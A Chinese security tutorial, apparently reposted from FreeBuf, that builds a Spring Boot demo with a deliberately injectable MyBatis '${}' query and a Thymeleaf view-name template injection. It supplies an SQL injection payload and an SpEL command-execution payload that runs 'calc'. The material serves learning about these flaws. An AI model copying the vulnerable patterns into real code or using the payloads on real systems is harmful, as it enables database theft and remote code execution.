安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版注入
好,我需要帮用户总结这篇文章的内容,控制在100字以内。首先,文章主要讲的是Spring Boot Web应用中的路由响应,包括如何处理GET和POST请求,以及基本的参数传递。接着,文章还介绍了@RestController和@Controller的区别,前者用于返回数据,后者用于渲染视图。 然后,文章详细讲解了如何在Spring Boot中集成MyBatis进行数据库操作,包括配置数据库连接、创建实体类、编写Mapper接口以及控制器的实现。这部分内容展示了如何通过MyBatis进行数据库查询,并且提到了SQL注入的风险。 最后,文章讨论了模板引擎Thymeleaf的安全问题。通过一个Payload的例子,说明了如果后端没有正确过滤用户输入,攻击者可以利用模板引擎的特性执行恶意代码。文章详细解释了Payload的工作原理,并强调了后端过滤的重要性。 总结起来,这篇文章涵盖了Spring Boot的路由处理、MyBatis的使用以及模板引擎的安全问题。内容比较全面,适合开发者了解相关安全风险和技术实现。 </think> 本文介绍了如何在Spring Boot中处理GET和POST请求以及基本参数传递,并展示了@RestController和@Controller的区别。文章还详细讲解了如何在Spring Boot中集成MyBatis进行数据库操作,并讨论了SQL注入的风险。最后,文章探讨了模板引擎Thymeleaf的安全问题,并提供了一个Payload示例来说明如何利用模板引擎执行恶意代码。 2025-12-3 13:36:30 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Spring-boot web应用 - 路由响应

  • 主要内容涉及如何在Springboot中进行简单的GET和POST请求访问路由并执行对应逻辑 以及 进行基本的传参

  • 代码如下:

    package com.example.demo.controller;

    import org.springframework.web.bind.annotation.*;

    @RestController
    public class IndexController {
    //指定GET请求的访问路由;
    //@RequestMapping(value = "/hhcget" , method = RequestMethod.GET)
    @GetMapping("/lianghengrui")
    //这俩种均可
    public String getIndex() {
    return "get test";
    }

    //指定POST请求的访问路由
    @RequestMapping(value = "/hhcpost" , method = RequestMethod.POST)
    public String postIndex() {
    return "post test";
    }

    //指定GET请求的访问路由, 带参数名name
    @GetMapping("/hhc_g")
    public String getCindex(@RequestParam String name) {
    return name;
    }

    //指定POST请求的访问路由,并携带参数
    @PostMapping("/hhc_pg")
    public String postCindex(@RequestParam String name) {
    return name;
    }

    }
  • 补充:@RestController 和 @Controller的区别

    简单来说:@RestController = @Controller + @ResponseBody 
    也就是说 @RestController是后两者的组合注解
    使用前者,响应中返回的内容会以字符串内容进行显示
    如果使用 @Controller 那么返回的响应将以视图页面显示
    注解适用场景返回内容默认类型
    @Controller需返回页面(如 HTML)的场景视图(页面)
    @RestController接口开发(如 RESTful API)场景JSON/XML 等响应体数据
  • 步骤

    /*

    0、数据库先创建需操作的数据

    1、项目添加Mybatis&数据库驱动(如果在IDEA中选择了Mybatis那么就会直接引入,不需要在依赖中进行下一步操作,此操作可以省略)

    -pom.xml

    <dependency>

    <groupId>org.mybatis.spring.boot</groupId>

    <artifactId>mybatis-spring-boot-starter</artifactId>

    <version>2.2.2</version>

    </dependency>

    <dependency>

    <groupId>com.mysql</groupId>

    <artifactId>mysql-connector-j</artifactId>

    <scope>runtime</scope>

    </dependency>


    2、项目配置数据库连接信息

    -application.yml(刚创建项目时为.properties 专业开发中应改为.yml)

    spring:

    datasource:

    url: jdbc:mysql://localhost:3306/demo01

    username: root

    password: 123456

    driver-class-name: com.mysql.cj.jdbc.Driver



    3、创建User类用来操作数据库数据

    -com.example.demo.entity.User

    set get toString方法


    4、创建Mapper动态接口代理类实现

    -com.example.demo.mapper.UserMapper

    @Mapper

    public interface UserMapper {

    @Select("select * from admin where id like '%${id}%'")

    public List<User> findAll(Integer id);

    }


    5、创建Controller实现Web访问调用

    -com.example.demo.controller.UserController

    @RestController

    public class UserController {

    @Autowired

    private UserMapper userMapper;

    @RequestMapping(value = "/getdata",method = RequestMethod.GET)

    //@ResponseBody

    public List<User> getdata(Integer id) {

    List<User> all = userMapper.findAll(id);

    System.out.println(all);

    return all;

    }

    }

    **/

  • 编写代码如下

    // 实体类entity.User

    package org.example.springbootmybatis.entity;

    public class User {
    private Integer id;
    private String usernaem;
    private String password;

    public Integer getId() {
    return id;
    }

    public void setId(Integer id) {
    this.id = id;
    }

    public String getPassword() {
    return password;
    }

    public void setPassword(String password) {
    this.password = password;
    }

    public String getUsernaem() {
    return usernaem;
    }

    public void setUsernaem(String usernaem) {
    this.usernaem = usernaem;
    }

    @Override
    public String toString() {
    return "User{" +
    "id=" + id +
    ", usernaem='" + usernaem + '\'' +
    ", password='" + password + '\'' +
    '}';
    }
    }


    // 接口类 mapper.UserMapper
    package org.example.springbootmybatis.mapper;

    import org.apache.ibatis.annotations.Mapper;
    import org.apache.ibatis.annotations.Select;
    import org.example.springbootmybatis.entity.User;

    import java.util.List;

    @Mapper
    public interface UserMapper {
    /**
    * 查询所有管理员用户信息
    *
    * @return 返回包含所有管理员用户的列表,如果无数据则返回空列表
    */
    @Select("select * from admin where id like '%${id}%'")
    public List<User> findAll(Integer id);


    @Select("select * from admin where id = 1 ")
    public List<User> findId();
    }

    /**
    * 一个由你定义的 Java 接口,专门用来声明数据库操作方法,MyBatis 会自动为它生成实现类,帮你执行 SQL 语句。
    */


    //操作类 controller.GetadminController

    package org.example.springbootmybatis.controller;

    import org.example.springbootmybatis.entity.User;
    import org.example.springbootmybatis.mapper.UserMapper;
    import org.springframework.beans.factory.annotation.Autowired;
    import org.springframework.web.bind.annotation.GetMapping;
    import org.springframework.web.bind.annotation.RequestParam;
    import org.springframework.web.bind.annotation.RestController;
    import org.yaml.snakeyaml.events.Event;

    import java.util.List;

    @RestController
    public class GetadminController {
    @Autowired
    private UserMapper userMapper;

    @GetMapping("/getadmin")
    public List<User> getadmindata(@RequestParam Integer id) {
    List<User> all = userMapper.findAll( id);
    return all;
    }

    @GetMapping("/getadminId")
    public List<User> getadminById () {
    List<User> id = userMapper.findId();
    return id;
    }
    }
  • 结果如下图

1764768908_69303c8c4c5a84e4d501a.png!small?1764768908586

1764768916_69303c94d8e48aff3dcff.png!small?1764768917217

  • 尝试SQL注入:这里其实Mybatis的利用情况很少,我们这里是加设在$的情况下,该符号表示直接拼接,如果是#那么即为预编译 就很难sql注入

    • 首先在正常数据库操作工具中尝试payload,测试结果如下

    • 1764768923_69303c9b9c55bd628d0c5.png!small?1764768924163

    • 输入payload: 即可成功 -- 看概率

      1%' or 1=1 #
  • 编写代码

    // controller.ThyremeafController
    package org.example.thyremeafdemo.controller;

    import org.springframework.stereotype.Controller;
    import org.springframework.ui.Model;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RequestParam;

    @Controller
    public class ThyremeafController {
    @RequestMapping(value = "/")
    public String index(Model model) {
    model.addAttribute("data","hello,jjj");
    return "index";
    }
    @RequestMapping(value = "/test")
    public String index() {
    //@RestController ResponseBody index当做字符串显示操作
    //Controller 没有ResponseBody index当做资源文件去渲染
    return "test";
    }

    @RequestMapping(value = "/lang")
    public String index(@RequestParam String lang) {
    //@RestController ResponseBody index当做字符串显示操作
    //Controller 没有ResponseBody index当做资源文件去渲染
    return lang; //lang=en index-en
    }
    }

    // templates.index
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>Title</title>
    </head>
    <body>
    <span th:text="${data}">安全</span>
    </body>
    </html>

    // templates.index-en

    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>Title</title>
    </head>
    <body>

    </body>
    </html>  

    // templates.test
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>Title</title>
    </head>
    <body>
    shanchuansec
    </body>
    </html>    

  • 原理:

    当我们使用@Controller 时,所有返回的内容都会以视图展示,比如返回"index"
    系统就会自动在templates目录下找对应的 /index.html 模板
    那么返回的内容为用户所控时,我们就可以输入恶意代码,当系统再次将我们输入的内容代入系统去渲染执行时,就会执行恶意代码
  • payload:

    ${%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('calc').getInputStream()).next()%7d%7d
  • 核心原理:

    1. 这个Payload带模板引擎认得出的`${}`语法,本身就是“可执行的模板内容”;
    2. 引擎允许模板里调用系统类、执行命令;T{}里面就可以写要调用的类或者命令
    3. 后端没过滤,直接把Payload当模板解析;
    4. 引擎一看到`${}`里的代码,就直接执行了,不用找别的模板文件。

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/vuls/460279.html
如有侵权请联系:admin#unsafe.sh